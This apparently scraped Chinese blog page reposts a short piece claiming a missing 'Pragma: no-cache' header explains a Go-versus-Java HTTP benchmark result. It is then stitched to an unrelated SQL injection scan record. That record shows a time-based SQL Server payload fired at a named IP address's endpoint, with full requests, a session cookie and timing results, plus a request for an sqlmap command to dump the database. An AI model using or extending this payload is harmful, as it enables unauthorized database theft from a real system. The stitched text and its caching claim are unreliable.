《转》Pragma: no-cache 对性能的影响

本文通过JMeter在Windows环境下进行2000并发测试,对比了Go和Java服务端直接输出字符串的HTTP性能,并发现了Go性能不佳的原因在于未设置response.setHeader(Pragma no-cache)以清除缓存,导致浏览器后退功能无法确保网页信息最新。

做了下go和java的http性能的简单比较
服务端直接输出字符串
使用JMeter
windows下
 



2000的并发,测试结果很出乎意料,go不会这么差吧


研究了半小时,原因如下
tomcat的servlet里加了        response.setHeader("Pragma""no-cache");
go里没有设置该参数

设置后重新跑测试



可以了吧

response.setHeader("Pragma", "no-cache")

为了清除缓存,防止浏览器后退功能,确保网页信息是最新的

转自:http://www.blogjava.net/oathleo/archive/2013/08/27/403367.html

https://148.66.5.154/agent/invote_code/list?page=1&limit=10 ParamPosition query ParamKey page Payload 1'and(select+1)>0waitfor/**/delay'0:0:3 Request1 GET /agent/invote_code/list?limit=10&page=1%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A0 HTTP/1.1 Host: 148.66.5.154 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cookie: PHPSESSID=ln467gh2n0t7jl4uk8ss3l9qk1 Referer: https://148.66.5.154/agent/invote_code/index Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin X-Requested-With: XMLHttpRequest Accept-Encoding: gzip Copy Response1 HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Access-Control-Request-Method: * Alt-Svc: quic=":443"; h3=":443"; h3-29=":443"; h3-27=":443";h3-25=":443"; h3-T050=":443"; h3-Q050=":443";h3-Q049=":443";h3-Q048=":443"; h3-Q046=":443"; h3-Q043=":443" Cache-Control: no-store, no-cache, must-revalidate Connection: keep-alive Content-Type: application/json Date: Mon, 28 Jul 2025 08:49:13 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: nginx Strict-Transport-Security: max-age=31536000 Vary: Accept-Encoding Request2 GET /agent/invote_code/list?limit=10&page=1%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A3 HTTP/1.1 Host: 148.66.5.154 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cookie: PHPSESSID=ln467gh2n0t7jl4uk8ss3l9qk1 Referer: https://148.66.5.154/agent/invote_code/index Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin X-Requested-With: XMLHttpRequest Accept-Encoding: gzip Copy Response2 HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Access-Control-Request-Method: * Alt-Svc: quic=":443"; h3=":443"; h3-29=":443"; h3-27=":443";h3-25=":443"; h3-T050=":443"; h3-Q050=":443";h3-Q049=":443";h3-Q048=":443"; h3-Q046=":443"; h3-Q043=":443" Cache-Control: no-store, no-cache, must-revalidate Connection: keep-alive Content-Type: application/json Date: Mon, 28 Jul 2025 08:49:17 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: nginx Strict-Transport-Security: max-age=31536000 Vary: Accept-Encoding Extra { "avg_time": "833", "n_time": "3174", "p_time": "749", "sleep_time": "3000", "stat": "{\"normal\":{\"samples\":[1161,849,711,718,704,856],\"avg\":833.1666666666666,\"std_dev\":159.74919579001192,\"sleep_time\":3},\"sleep_0_time\":749,\"quick_check\":{\"samples\":[3174],\"sleep\":3},\"verify\":{\"samples\":[4176,5101,12188],\"sleep\":4}}", "std_dev": "159", "title": "Generic SQL Server time based case ['string']", "type": "time_based" 根据这个帮我写一句sqlmap的查询数据库的语句
07-29
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值